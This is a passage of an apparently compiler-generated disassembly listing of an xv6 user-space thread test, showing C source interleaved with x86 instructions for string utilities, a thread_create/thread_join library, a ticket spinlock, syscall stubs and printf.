e8 44 05 00 00 call 630 <printf> ec: 83 c4 04 add $0x4,%esp ef: ff 35 18 0d 00 00 pushl 0xd18 f5: e8 25 04 00 00 call 51f <kill> fa: e8 e8 03 00 00 call 4e7 <exit> for (i = 0; i < num_threads; i++) { ff: bb 00 00 00 00 mov $0x0,%ebx 104: a1 ec 0c 00 00 mov 0xcec,%eax 109: 39 d8 cmp %ebx,%eax 10b: 7e 57 jle 164 <main+0x105> int join_pid = thread_join(); 10d: e8 00 03 00 00 call 412 <thread_join> assert(join_pid > 0); 112: 85 c0 test %eax,%eax 114: 7e 05 jle 11b <main+0xbc> for (i = 0; i < num_threads; i++) { 116: 83 c3 01 add $0x1,%ebx 119: eb e9 jmp 104 <main+0xa5> assert(join_pid > 0); 11b: 6a 2a push $0x2a 11d: 68 f0 08 00 00 push $0x8f0 122: 68 fa 08 00 00 push $0x8fa 127: 6a 01 push $0x1 129: e8 02 05 00 00 call 630 <printf> 12e: 83 c4 0c add $0xc,%esp 131: 68 32 09 00 00 push $0x932 136: 68 11 09 00 00 push $0x911 13b: 6a 01 push $0x1 13d: e8 ee 04 00 00 call 630 <printf> 142: 83 c4 08 add $0x8,%esp 145: 68 25 09 00 00 push $0x925 14a: 6a 01 push $0x1 14c: e8 df 04 00 00 call 630 <printf> 151: 83 c4 04 add $0x4,%esp 154: ff 35 18 0d 00 00 pushl 0xd18 15a: e8 c0 03 00 00 call 51f <kill> 15f: e8 83 03 00 00 call 4e7 <exit> assert(global == num_threads * loops); 164: 0f af 05 e8 0c 00 00 imul 0xce8,%eax 16b: 3b 05 00 0d 00 00 cmp 0xd00,%eax 171: 74 49 je 1bc <main+0x15d> 173: 6a 2d push $0x2d 175: 68 f0 08 00 00 push $0x8f0 17a: 68 fa 08 00 00 push $0x8fa 17f: 6a 01 push $0x1 181: e8 aa 04 00 00 call 630 <printf> 186: 83 c4 0c add $0xc,%esp 189: 68 3f 09 00 00 push $0x93f 18e: 68 11 09 00 00 push $0x911 193: 6a 01 push $0x1 195: e8 96 04 00 00 call 630 <printf> 19a: 83 c4 08 add $0x8,%esp 19d: 68 25 09 00 00 push $0x925 1a2: 6a 01 push $0x1 1a4: e8 87 04 00 00 call 630 <printf> 1a9: 83 c4 04 add $0x4,%esp 1ac: ff 35 18 0d 00 00 pushl 0xd18 1b2: e8 68 03 00 00 call 51f <kill> 1b7: e8 2b 03 00 00 call 4e7 <exit> printf(1, "TEST PASSED\n"); 1bc: 83 ec 08 sub $0x8,%esp 1bf: 68 5d 09 00 00 push $0x95d 1c4: 6a 01 push $0x1 1c6: e8 65 04 00 00 call 630 <printf> exit(); 1cb: e8 17 03 00 00 call 4e7 <exit> 000001d0 <strcpy>: ptr_storage ptr_pairs[NPROC]; int cell_full[NPROC]; char* strcpy(char *s, const char *t) { 1d0: f3 0f 1e fb endbr32 1d4: 55 push %ebp 1d5: 89 e5 mov %esp,%ebp 1d7: 56 push %esi 1d8: 53 push %ebx 1d9: 8b 75 08 mov 0x8(%ebp),%esi 1dc: 8b 55 0c mov 0xc(%ebp),%edx char *os; os = s; while((*s++ = *t++) != 0) 1df: 89 f0 mov %esi,%eax 1e1: 89 d1 mov %edx,%ecx 1e3: 83 c2 01 add $0x1,%edx 1e6: 89 c3 mov %eax,%ebx 1e8: 83 c0 01 add $0x1,%eax 1eb: 0f b6 09 movzbl (%ecx),%ecx 1ee: 88 0b mov %cl,(%ebx) 1f0: 84 c9 test %cl,%cl 1f2: 75 ed jne 1e1 <strcpy+0x11> ; return os; } 1f4: 89 f0 mov %esi,%eax 1f6: 5b pop %ebx 1f7: 5e pop %esi 1f8: 5d pop %ebp 1f9: c3 ret 000001fa <strcmp>: int strcmp(const char *p, const char *q) { 1fa: f3 0f 1e fb endbr32 1fe: 55 push %ebp 1ff: 89 e5 mov %esp,%ebp 201: 8b 4d 08 mov 0x8(%ebp),%ecx 204: 8b 55 0c mov 0xc(%ebp),%edx while(*p && *p == *q) 207: 0f b6 01 movzbl (%ecx),%eax 20a: 84 c0 test %al,%al 20c: 74 0c je 21a <strcmp+0x20> 20e: 3a 02 cmp (%edx),%al 210: 75 08 jne 21a <strcmp+0x20> p++, q++; 212: 83 c1 01 add $0x1,%ecx 215: 83 c2 01 add $0x1,%edx 218: eb ed jmp 207 <strcmp+0xd> return (uchar)*p - (uchar)*q; 21a: 0f b6 c0 movzbl %al,%eax 21d: 0f b6 12 movzbl (%edx),%edx 220: 29 d0 sub %edx,%eax } 222: 5d pop %ebp 223: c3 ret 00000224 <strlen>: uint strlen(const char *s) { 224: f3 0f 1e fb endbr32 228: 55 push %ebp 229: 89 e5 mov %esp,%ebp 22b: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 22e: b8 00 00 00 00 mov $0x0,%eax 233: 80 3c 01 00 cmpb $0x0,(%ecx,%eax,1) 237: 74 05 je 23e <strlen+0x1a> 239: 83 c0 01 add $0x1,%eax 23c: eb f5 jmp 233 <strlen+0xf> ; return n; } 23e: 5d pop %ebp 23f: c3 ret 00000240 <memset>: void* memset(void *dst, int c, uint n) { 240: f3 0f 1e fb endbr32 244: 55 push %ebp 245: 89 e5 mov %esp,%ebp 247: 57 push %edi 248: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 24b: 89 d7 mov %edx,%edi 24d: 8b 4d 10 mov 0x10(%ebp),%ecx 250: 8b 45 0c mov 0xc(%ebp),%eax 253: fc cld 254: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 256: 89 d0 mov %edx,%eax 258: 5f pop %edi 259: 5d pop %ebp 25a: c3 ret 0000025b <strchr>: char* strchr(const char *s, char c) { 25b: f3 0f 1e fb endbr32 25f: 55 push %ebp 260: 89 e5 mov %esp,%ebp 262: 8b 45 08 mov 0x8(%ebp),%eax 265: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx for(; *s; s++) 269: 0f b6 10 movzbl (%eax),%edx 26c: 84 d2 test %dl,%dl 26e: 74 09 je 279 <strchr+0x1e> if(*s == c) 270: 38 ca cmp %cl,%dl 272: 74 0a je 27e <strchr+0x23> for(; *s; s++) 274: 83 c0 01 add $0x1,%eax 277: eb f0 jmp 269 <strchr+0xe> return (char*)s; return 0; 279: b8 00 00 00 00 mov $0x0,%eax } 27e: 5d pop %ebp 27f: c3 ret 00000280 <gets>: char* gets(char *buf, int max) { 280: f3 0f 1e fb endbr32 284: 55 push %ebp 285: 89 e5 mov %esp,%ebp 287: 57 push %edi 288: 56 push %esi 289: 53 push %ebx 28a: 83 ec 1c sub $0x1c,%esp 28d: 8b 7d 08 mov 0x8(%ebp),%edi int i, cc; char c; for(i=0; i+1 < max; ){ 290: bb 00 00 00 00 mov $0x0,%ebx 295: 89 de mov %ebx,%esi 297: 83 c3 01 add $0x1,%ebx 29a: 3b 5d 0c cmp 0xc(%ebp),%ebx 29d: 7d 2e jge 2cd <gets+0x4d> cc = read(0, &c, 1); 29f: 83 ec 04 sub $0x4,%esp 2a2: 6a 01 push $0x1 2a4: 8d 45 e7 lea -0x19(%ebp),%eax 2a7: 50 push %eax 2a8: 6a 00 push $0x0 2aa: e8 58 02 00 00 call 507 <read> if(cc < 1) 2af: 83 c4 10 add $0x10,%esp 2b2: 85 c0 test %eax,%eax 2b4: 7e 17 jle 2cd <gets+0x4d> break; buf[i++] = c; 2b6: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 2ba: 88 04 37 mov %al,(%edi,%esi,1) if(c == '\n' || c == '\r') 2bd: 3c 0a cmp $0xa,%al 2bf: 0f 94 c2 sete %dl 2c2: 3c 0d cmp $0xd,%al 2c4: 0f 94 c0 sete %al 2c7: 08 c2 or %al,%dl 2c9: 74 ca je 295 <gets+0x15> buf[i++] = c; 2cb: 89 de mov %ebx,%esi break; } buf[i] = '\0'; 2cd: c6 04 37 00 movb $0x0,(%edi,%esi,1) return buf; } 2d1: 89 f8 mov %edi,%eax 2d3: 8d 65 f4 lea -0xc(%ebp),%esp 2d6: 5b pop %ebx 2d7: 5e pop %esi 2d8: 5f pop %edi 2d9: 5d pop %ebp 2da: c3 ret 000002db <stat>: int stat(const char *n, struct stat *st) { 2db: f3 0f 1e fb endbr32 2df: 55 push %ebp 2e0: 89 e5 mov %esp,%ebp 2e2: 56 push %esi 2e3: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 2e4: 83 ec 08 sub $0x8,%esp 2e7: 6a 00 push $0x0 2e9: ff 75 08 pushl 0x8(%ebp) 2ec: e8 3e 02 00 00 call 52f <open> if(fd < 0) 2f1: 83 c4 10 add $0x10,%esp 2f4: 85 c0 test %eax,%eax 2f6: 78 24 js 31c <stat+0x41> 2f8: 89 c3 mov %eax,%ebx return -1; r = fstat(fd, st); 2fa: 83 ec 08 sub $0x8,%esp 2fd: ff 75 0c pushl 0xc(%ebp) 300: 50 push %eax 301: e8 41 02 00 00 call 547 <fstat> 306: 89 c6 mov %eax,%esi close(fd); 308: 89 1c 24 mov %ebx,(%esp) 30b: e8 07 02 00 00 call 517 <close> return r; 310: 83 c4 10 add $0x10,%esp } 313: 89 f0 mov %esi,%eax 315: 8d 65 f8 lea -0x8(%ebp),%esp 318: 5b pop %ebx 319: 5e pop %esi 31a: 5d pop %ebp 31b: c3 ret return -1; 31c: be ff ff ff ff mov $0xffffffff,%esi 321: eb f0 jmp 313 <stat+0x38> 00000323 <atoi>: int atoi(const char *s) { 323: f3 0f 1e fb endbr32 327: 55 push %ebp 328: 89 e5 mov %esp,%ebp 32a: 53 push %ebx 32b: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; 32e: ba 00 00 00 00 mov $0x0,%edx while('0' <= *s && *s <= '9') 333: 0f b6 01 movzbl (%ecx),%eax 336: 8d 58 d0 lea -0x30(%eax),%ebx 339: 80 fb 09 cmp $0x9,%bl 33c: 77 12 ja 350 <atoi+0x2d> n = n*10 + *s++ - '0'; 33e: 8d 1c 92 lea (%edx,%edx,4),%ebx 341: 8d 14 1b lea (%ebx,%ebx,1),%edx 344: 83 c1 01 add $0x1,%ecx 347: 0f be c0 movsbl %al,%eax 34a: 8d 54 10 d0 lea -0x30(%eax,%edx,1),%edx 34e: eb e3 jmp 333 <atoi+0x10> return n; } 350: 89 d0 mov %edx,%eax 352: 5b pop %ebx 353: 5d pop %ebp 354: c3 ret 00000355 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 355: f3 0f 1e fb endbr32 359: 55 push %ebp 35a: 89 e5 mov %esp,%ebp 35c: 56 push %esi 35d: 53 push %ebx 35e: 8b 75 08 mov 0x8(%ebp),%esi 361: 8b 4d 0c mov 0xc(%ebp),%ecx 364: 8b 45 10 mov 0x10(%ebp),%eax char *dst; const char *src; dst = vdst; 367: 89 f2 mov %esi,%edx src = vsrc; while(n-- > 0) 369: 8d 58 ff lea -0x1(%eax),%ebx 36c: 85 c0 test %eax,%eax 36e: 7e 0f jle 37f <memmove+0x2a> *dst++ = *src++; 370: 0f b6 01 movzbl (%ecx),%eax 373: 88 02 mov %al,(%edx) 375: 8d 49 01 lea 0x1(%ecx),%ecx 378: 8d 52 01 lea 0x1(%edx),%edx while(n-- > 0) 37b: 89 d8 mov %ebx,%eax 37d: eb ea jmp 369 <memmove+0x14> return vdst; } 37f: 89 f0 mov %esi,%eax 381: 5b pop %ebx 382: 5e pop %esi 383: 5d pop %ebp 384: c3 ret 00000385 <thread_create>: int thread_create(void (*start_routine)(void *, void *), void *arg1, void *arg2) { 385: f3 0f 1e fb endbr32 389: 55 push %ebp 38a: 89 e5 mov %esp,%ebp 38c: 53 push %ebx 38d: 83 ec 10 sub $0x10,%esp void *curr_ptr = malloc(PGSIZE*2); 390: 68 00 20 00 00 push $0x2000 395: e8 c7 04 00 00 call 861 <malloc> void *user_stack = curr_ptr; if ((uint)user_stack % PGSIZE != 0) { 39a: 83 c4 10 add $0x10,%esp 39d: 89 c2 mov %eax,%edx 39f: 81 e2 ff 0f 00 00 and $0xfff,%edx 3a5: 74 22 je 3c9 <thread_create+0x44> user_stack += (PGSIZE - ((uint)user_stack % PGSIZE)); 3a7: b9 00 10 00 00 mov $0x1000,%ecx 3ac: 29 d1 sub %edx,%ecx 3ae: 01 c1 add %eax,%ecx } int i; for (i = 0; i < NPROC; i++) { 3b0: ba 00 00 00 00 mov $0x0,%edx 3b5: 83 fa 3f cmp $0x3f,%edx 3b8: 7f 13 jg 3cd <thread_create+0x48> if (cell_full[i] != 1) { break; } 3ba: 83 3c 95 20 10 00 00 cmpl $0x1,0x1020(,%edx,4) 3c1: 01 3c2: 75 09 jne 3cd <thread_create+0x48> for (i = 0; i < NPROC; i++) { 3c4: 83 c2 01 add $0x1,%edx 3c7: eb ec jmp 3b5 <thread_create+0x30> void *user_stack = curr_ptr; 3c9: 89 c1 mov %eax,%ecx 3cb: eb e3 jmp 3b0 <thread_create+0x2b> } if (cell_full[i] == 1) { 3cd: 83 3c 95 20 10 00 00 cmpl $0x1,0x1020(,%edx,4) 3d4: 01 3d5: 74 34 je 40b <thread_create+0x86> return -1; } ptr_pairs[i].orig_ptr = curr_ptr; 3d7: 8d 1c 52 lea (%edx,%edx,2),%ebx 3da: c1 e3 02 shl $0x2,%ebx 3dd: 89 83 20 0d 00 00 mov %eax,0xd20(%ebx) ptr_pairs[i].offset_ptr = user_stack; 3e3: 89 8b 24 0d 00 00 mov %ecx,0xd24(%ebx) cell_full[i] = 1; 3e9: c7 04 95 20 10 00 00 movl $0x1,0x1020(,%edx,4) 3f0: 01 00 00 00 // curr_ptrs->next->orig_ptr = curr_ptr; // curr_ptrs->next->offset_ptr = user_stack; // curr_ptrs->next->next = NULL; // } return clone(user_stack, start_routine, arg1, arg2); 3f4: ff 75 10 pushl 0x10(%ebp) 3f7: ff 75 0c pushl 0xc(%ebp) 3fa: ff 75 08 pushl 0x8(%ebp) 3fd: 51 push %ecx 3fe: e8 dc 00 00 00 call 4df <clone> 403: 83 c4 10 add $0x10,%esp } 406: 8b 5d fc mov -0x4(%ebp),%ebx 409: c9 leave 40a: c3 ret return -1; 40b: b8 ff ff ff ff mov $0xffffffff,%eax 410: eb f4 jmp 406 <thread_create+0x81> 00000412 <thread_join>: int thread_join(){ 412: f3 0f 1e fb endbr32 416: 55 push %ebp 417: 89 e5 mov %esp,%ebp 419: 56 push %esi 41a: 53 push %ebx 41b: 83 ec 1c sub $0x1c,%esp void* diov; int out = join(&diov); 41e: 8d 45 f4 lea -0xc(%ebp),%eax 421: 50 push %eax 422: e8 d0 00 00 00 call 4f7 <join> 427: 89 c6 mov %eax,%esi // free(curr_ptrs->orig_ptr); // prev_ptrs->next = curr_ptrs->next; // free(curr_ptrs); int i; for (i = 0; i < NPROC; i++) { 429: 83 c4 10 add $0x10,%esp 42c: bb 00 00 00 00 mov $0x0,%ebx 431: 83 fb 3f cmp $0x3f,%ebx 434: 7f 14 jg 44a <thread_join+0x38> if (ptr_pairs[i].offset_ptr == diov) { break; } 436: 8d 04 5b lea (%ebx,%ebx,2),%eax 439: 8b 55 f4 mov -0xc(%ebp),%edx 43c: 39 14 85 24 0d 00 00 cmp %edx,0xd24(,%eax,4) 443: 74 05 je 44a <thread_join+0x38> for (i = 0; i < NPROC; i++) { 445: 83 c3 01 add $0x1,%ebx 448: eb e7 jmp 431 <thread_join+0x1f> } if (ptr_pairs[i].offset_ptr != diov) { return -1; } 44a: 8d 04 5b lea (%ebx,%ebx,2),%eax 44d: 8b 4d f4 mov -0xc(%ebp),%ecx 450: 39 0c 85 24 0d 00 00 cmp %ecx,0xd24(,%eax,4) 457: 75 26 jne 47f <thread_join+0x6d> free(ptr_pairs[i].orig_ptr); 459: 83 ec 0c sub $0xc,%esp 45c: ff 34 85 20 0d 00 00 pushl 0xd20(,%eax,4) 463: e8 35 03 00 00 call 79d <free> cell_full[i] = 0; 468: c7 04 9d 20 10 00 00 movl $0x0,0x1020(,%ebx,4) 46f: 00 00 00 00 return out; 473: 83 c4 10 add $0x10,%esp } 476: 89 f0 mov %esi,%eax 478: 8d 65 f8 lea -0x8(%ebp),%esp 47b: 5b pop %ebx 47c: 5e pop %esi 47d: 5d pop %ebp 47e: c3 ret if (ptr_pairs[i].offset_ptr != diov) { return -1; } 47f: be ff ff ff ff mov $0xffffffff,%esi 484: eb f0 jmp 476 <thread_join+0x64> 00000486 <lock_init>: : "memory" ); return value; } void lock_init(lock_t *lock) { 486: f3 0f 1e fb endbr32 48a: 55 push %ebp 48b: 89 e5 mov %esp,%ebp 48d: 8b 45 08 mov 0x8(%ebp),%eax lock->ticket = 0; 490: c7 00 00 00 00 00 movl $0x0,(%eax) lock->turn = 0; 496: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) } 49d: 5d pop %ebp 49e: c3 ret 0000049f <lock_acquire>: void lock_acquire(lock_t *lock) { 49f: f3 0f 1e fb endbr32 4a3: 55 push %ebp 4a4: 89 e5 mov %esp,%ebp 4a6: 8b 55 08 mov 0x8(%ebp),%edx __asm__ volatile("lock; xaddl %0, %1" 4a9: b9 01 00 00 00 mov $0x1,%ecx 4ae: f0 0f c1 0a lock xadd %ecx,(%edx) 4b2: b8 00 00 00 00 mov $0x0,%eax 4b7: f0 0f c1 42 04 lock xadd %eax,0x4(%edx) int myturn = fetch_and_add(&lock->ticket, 1); while( fetch_and_add(&lock->turn, 0) != myturn ) { //changed 4bc: 39 c1 cmp %eax,%ecx 4be: 75 f2 jne 4b2 <lock_acquire+0x13> ; // spin } } 4c0: 5d pop %ebp 4c1: c3 ret 000004c2 <lock_release>: void lock_release(lock_t *lock) { 4c2: f3 0f 1e fb endbr32 4c6: 55 push %ebp 4c7: 89 e5 mov %esp,%ebp 4c9: 8b 55 08 mov 0x8(%ebp),%edx lock->turn = lock->turn + 1; 4cc: 8b 42 04 mov 0x4(%edx),%eax 4cf: 83 c0 01 add $0x1,%eax 4d2: 89 42 04 mov %eax,0x4(%edx) } 4d5: 5d pop %ebp 4d6: c3 ret 000004d7 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 4d7: b8 01 00 00 00 mov $0x1,%eax 4dc: cd 40 int $0x40 4de: c3 ret 000004df <clone>: SYSCALL(clone) 4df: b8 16 00 00 00 mov $0x16,%eax 4e4: cd 40 int $0x40 4e6: c3 ret 000004e7 <exit>: SYSCALL(exit) 4e7: b8 02 00 00 00 mov $0x2,%eax 4ec: cd 40 int $0x40 4ee: c3 ret 000004ef <wait>: SYSCALL(wait) 4ef: b8 03 00 00 00 mov $0x3,%eax 4f4: cd 40 int $0x40 4f6: c3 ret 000004f7 <join>: SYSCALL(join) 4f7: b8 17 00 00 00 mov $0x17,%eax 4fc: cd 40 int $0x40 4fe: c3 ret 000004ff <pipe>: SYSCALL(pipe) 4ff: b8 04 00 00 00 mov $0x4,%eax 504: cd 40 int $0x40 506: c3 ret 00000507 <read>: SYSCALL(read) 507: b8 05 00 00 00 mov $0x5,%eax 50c: cd 40 int $0x40 50e: c3 ret 0000050f <write>: SYSCALL(write) 50f: b8 10 00 00 00 mov $0x10,%eax 514: cd 40 int $0x40 516: c3 ret 00000517 <close>: SYSCALL(close) 517: b8 15 00 00 00 mov $0x15,%eax 51c: cd 40 int $0x40 51e: c3 ret 0000051f <kill>: SYSCALL(kill) 51f: b8 06 00 00 00 mov $0x6,%eax 524: cd 40 int $0x40 526: c3 ret 00000527 <exec>: SYSCALL(exec) 527: b8 07 00 00 00 mov $0x7,%eax 52c: cd 40 int $0x40 52e: c3 ret 0000052f <open>: SYSCALL(open) 52f: b8 0f 00 00 00 mov $0xf,%eax 534: cd 40 int $0x40 536: c3 ret 00000537 <mknod>: SYSCALL(mknod) 537: b8 11 00 00 00 mov $0x11,%eax 53c: cd 40 int $0x40 53e: c3 ret 0000053f <unlink>: SYSCALL(unlink) 53f: b8 12 00 00 00 mov $0x12,%eax 544: cd 40 int $0x40 546: c3 ret 00000547 <fstat>: SYSCALL(fstat) 547: b8 08 00 00 00 mov $0x8,%eax 54c: cd 40 int $0x40 54e: c3 ret 0000054f <link>: SYSCALL(link) 54f: b8 13 00 00 00 mov $0x13,%eax 554: cd 40 int $0x40 556: c3 ret 00000557 <mkdir>: SYSCALL(mkdir) 557: b8 14 00 00 00 mov $0x14,%eax 55c: cd 40 int $0x40 55e: c3 ret 0000055f <chdir>: SYSCALL(chdir) 55f: b8 09 00 00 00 mov $0x9,%eax 564: cd 40 int $0x40 566: c3 ret 00000567 <dup>: SYSCALL(dup) 567: b8 0a 00 00 00 mov $0xa,%eax 56c: cd 40 int $0x40 56e: c3 ret 0000056f <getpid>: SYSCALL(getpid) 56f: b8 0b 00 00 00 mov $0xb,%eax 574: cd 40 int $0x40 576: c3 ret 00000577 <sbrk>: SYSCALL(sbrk) 577: b8 0c 00 00 00 mov $0xc,%eax 57c: cd 40 int $0x40 57e: c3 ret 0000057f <sleep>: SYSCALL(sleep) 57f: b8 0d 00 00 00 mov $0xd,%eax 584: cd 40 int $0x40 586: c3 ret 00000587 <uptime>: SYSCALL(uptime) 587: b8 0e 00 00 00 mov $0xe,%eax 58c: cd 40 int $0x40 58e: c3 ret 0000058f <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 58f: 55 push %ebp 590: 89 e5 mov %esp,%ebp 592: 83 ec 1c sub $0x1c,%esp 595: 88 55 f4 mov %dl,-0xc(%ebp) write(fd, &c, 1); 598: 6a 01 push $0x1 59a: 8d 55 f4 lea -0xc(%ebp),%edx 59d: 52 push %edx 59e: 50 push %eax 59f: e8 6b ff ff ff call 50f <write> } 5a4: 83 c4 10 add $0x10,%esp 5a7: c9 leave 5a8: c3 ret 000005a9 <printint>: static void printint(int fd, int xx, int base, int sgn) { 5a9: 55 push %ebp 5aa: 89 e5 mov %esp,%ebp 5ac: 57 push %edi 5ad: 56 push %esi 5ae: 53 push %ebx 5af: 83 ec 2c sub $0x2c,%esp 5b2: 89 45 d0 mov %eax,-0x30(%ebp) 5b5: 89 d6 mov %edx,%esi char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 5b7: 83 7d 08 00 cmpl $0x0,0x8(%ebp) 5bb: 0f 95 c2 setne %dl 5be: 89 f0 mov %esi,%eax 5c0: c1 e8 1f shr $0x1f,%eax 5c3: 84 c2 test %al,%dl 5c5: 74 42 je 609 <printint+0x60> neg = 1; x = -xx; 5c7: f7 de neg %esi neg = 1; 5c9: c7 45 d4 01 00 00 00 movl $0x1,-0x2c(%ebp) } else { x = xx; } i = 0; 5d0: bb 00 00 00 00 mov $0x0,%ebx do{ buf[i++] = digits[x % base]; 5d5: 89 f0 mov %esi,%eax 5d7: ba 00 00 00 00 mov $0x0,%edx 5dc: f7 f1 div %ecx 5de: 89 df mov %ebx,%edi 5e0: 83 c3 01 add $0x1,%ebx 5e3: 0f b6 92 74 09 00 00 movzbl 0x974(%edx),%edx 5ea: 88 54 3d d8 mov %dl,-0x28(%ebp,%edi,1) }while((x /= base) != 0); 5ee: 89 f2 mov %esi,%edx 5f0: 89 c6 mov %eax,%esi 5f2: 39 d1 cmp %edx,%ecx 5f4: 76 df jbe 5d5 <printint+0x2c> if(neg) 5f6: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp) 5fa: 74 2f je 62b <printint+0x82> buf[i++] = '-'; 5fc: c6 44 1d d8 2d movb $0x2d,-0x28(%ebp,%ebx,1) 601: 8d 5f 02 lea 0x2(%edi),%ebx 604: 8b 75 d0 mov -0x30(%ebp),%esi 607: eb 15 jmp 61e <printint+0x75> neg = 0; 609: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp) 610: eb be jmp 5d0 <printint+0x27> while(--i >= 0) putc(fd, buf[i]); 612: 0f be 54 1d d8 movsbl -0x28(%ebp,%ebx,1),%edx 617: 89 f0 mov %esi,%eax 619: e8 71 ff ff ff call 58f <putc> while(--i >= 0) 61e: 83 eb 01 sub $0x1,%ebx 621: 79 ef jns 612 <printint+0x69> } 623: 83 c4 2c add $0x2c,%esp 626: 5b pop %ebx 627: 5e pop %esi 628: 5f pop %edi 629: 5d pop %ebp 62a: c3 ret 62b: 8b 75 d0 mov -0x30(%ebp),%esi 62e: eb ee jmp 61e <printint+0x75> 00000630 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 630: f3 0f 1e fb endbr32 634: 55 push %ebp 635: 89 e5 mov %esp,%ebp 637: 57 push %edi 638: 56 push %esi 639: 53 push %ebx 63a: 83 ec 1c sub $0x1c,%esp char *s; int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; 63d: 8d 45 10 lea 0x10(%ebp),%eax 640: 89 45 e4 mov %eax,-0x1c(%ebp) state = 0; 643: be 00 00 00 00 mov $0x0,%esi for(i = 0; fmt[i]; i++){ 648: bb 00 00 00 00 mov $0x0,%ebx 64d: eb 14 jmp 663 <printf+0x33> c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; } else { putc(fd, c); 64f: 89 fa mov %edi,%edx 651: 8b 45 08 mov 0x8(%ebp),%eax 654: e8 36 ff ff ff call 58f <putc> 659: eb 05 jmp 660 <printf+0x30> } } else if(state == '%'){ 65b: 83 fe 25 cmp $0x25,%esi 65e: 74 25 je 685 <printf+0x55> for(i = 0; fmt[i]; i++){ 660: 83 c3 01 add $0x1,%ebx 663: 8b 45 0c mov 0xc(%ebp),%eax 666: 0f b6 04 18 movzbl (%eax,%ebx,1),%eax 66a: 84 c0 test %al,%al 66c: 0f 84 23 01 00 00 je 795 <printf+0x165> c = fmt[i] & 0xff; 672: 0f be f8 movsbl %al,%edi 675: 0f b6 c0 movzbl %al,%eax if(state == 0){ 678: 85 f6 test %esi,%esi 67a: 75 df jne 65b <printf+0x2b> if(c == '%'){ 67c: 83 f8 25 cmp $0x25,%eax 67f: 75 ce jne 64f <printf+0x1f> state = '%'; 681: 89 c6 mov %eax,%esi 683: eb db jmp 660 <printf+0x30> if(c == 'd'){ 685: 83 f8 64 cmp $0x64,%eax 688: 74 49 je 6d3 <printf+0xa3> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 68a: 83 f8 78 cmp $0x78,%eax 68d: 0f 94 c1 sete %cl 690: 83 f8 70 cmp $0x70,%eax 693: 0f 94 c2 sete %dl 696: 08 d1 or %dl,%cl 698: 75 63 jne 6fd <printf+0xcd> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 69a: 83 f8 73 cmp $0x73,%eax 69d: 0f 84 84 00 00 00 je 727 <printf+0xf7> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 6a3: 83 f8 63 cmp $0x63,%eax 6a6: 0f 84 b7 00 00 00 je 763 <printf+0x133> putc(fd, *ap); ap++; } else if(c == '%'){ 6ac: 83 f8 25 cmp $0x25,%eax 6af: 0f 84 cc 00 00 00 je 781 <printf+0x151> putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 6b5: ba 25 00 00 00 mov $0x25,%edx 6ba: 8b 45 08 mov 0x8(%ebp),%eax 6bd: e8 cd fe ff ff call 58f <putc> putc(fd, c); 6c2: 89 fa mov %edi,%edx 6c4: 8b 45 08 mov 0x8(%ebp),%eax 6c7: e8 c3 fe ff ff call 58f <putc> } state = 0; 6cc: be 00 00 00 00 mov $0x0,%esi 6d1: eb 8d jmp 660 <printf+0x30> printint(fd, *ap, 10, 1); 6d3: 8b 7d e4 mov -0x1c(%ebp),%edi 6d6: 8b 17 mov (%edi),%edx 6d8: 83 ec 0c sub $0xc,%esp 6db: 6a 01 push $0x1 6dd: b9 0a 00 00 00 mov $0xa,%ecx 6e2: 8b 45 08 mov 0x8(%ebp),%eax 6e5: e8 bf fe ff ff call 5a9 <printint> ap++; 6ea: 83 c7 04 add $0x4,%edi 6ed: 89 7d e4 mov %edi,-0x1c(%ebp) 6f0: 83 c4 10 add $0x10,%esp state = 0; 6f3: be 00 00 00 00 mov $0x0,%esi 6f8: e9 63 ff ff ff jmp 660 <printf+0x30> printint(fd, *ap, 16, 0); 6fd: 8b 7d e4 mov -0x1c(%ebp),%edi 700: 8b 17 mov (%edi),%edx 702: 83 ec 0c sub $0xc,%esp 705: 6a 00 push $0x0 707: b9 10 00 00 00 mov $0x10,%ecx 70c: 8b 45 08 mov 0x8(%ebp),%eax 70f: e8 95 fe ff ff call 5a9 <printint> ap++; 714: 83 c7 04 add $0x4,%edi 717: 89 7d e4 mov %edi,-0x1c(%ebp) 71a: 83 c4 10 add $0x10,%esp state = 0; 71d: be 00 00 00 00 mov $0x0,%esi 722: e9 39 ff ff ff jmp 660 <printf+0x30> s = (char*)*ap; 727: 8b 45 e4 mov -0x1c(%ebp),%eax 72a: 8b 30 mov (%eax),%esi ap++; 72c: 83 c0 04 add $0x4,%eax 72f: 89 45 e4 mov %eax,-0x1c(%ebp) if(s == 0) 732: 85 f6 test %esi,%esi 734: 75 28 jne 75e <printf+0x12e> s = "(null)"; 736: be 6a 09 00 00 mov $0x96a,%esi 73b: 8b 7d 08 mov 0x8(%ebp),%edi 73e: eb 0d jmp 74d <printf+0x11d> putc(fd, *s); 740: 0f be d2 movsbl %dl,%edx 743: 89 f8 mov %edi,%eax 745: e8 45 fe ff ff call 58f <putc> s++; 74a: 83 c6 01 add $0x1,%esi while(*s != 0){ 74d: 0f b6 16 movzbl (%esi),%edx 750: 84 d2 test %dl,%dl 752: 75 ec jne 740 <printf+0x110> state = 0; 754: be 00 00 00 00 mov $0x0,%esi 759: e9 02 ff ff ff jmp 660 <printf+0x30> 75e: 8b 7d 08 mov 0x8(%ebp),%edi 761: eb ea jmp 74d 